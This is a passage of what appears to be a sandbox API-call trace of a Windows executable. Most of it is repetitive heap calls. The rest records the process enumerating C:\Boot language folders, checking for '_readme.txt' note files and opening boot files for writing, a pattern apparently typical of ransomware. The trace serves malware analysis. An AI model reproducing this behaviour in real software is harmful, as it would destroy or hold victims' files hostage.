returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.825] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.825] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.826] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.826] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.827] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.827] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.828] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0066.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.828] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.828] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.828] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.828] PathFindFileNameW (pszPath="") returned="" [0066.828] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.828] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.829] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.829] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x3247f78 [0066.829] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0066.829] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.829] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.829] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.830] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.830] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.830] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.830] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0066.830] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.830] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.830] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned=".txt" [0066.830] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.830] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.830] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.830] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.830] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.831] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.831] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.831] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.831] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.831] PathFindFileNameW (pszPath="") returned="" [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.831] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.831] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.831] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.831] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.831] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0066.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.832] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0066.832] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.832] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0066.832] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32be710, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.832] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned=".txt" [0066.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32be710, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.833] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.833] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.833] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.833] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.833] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 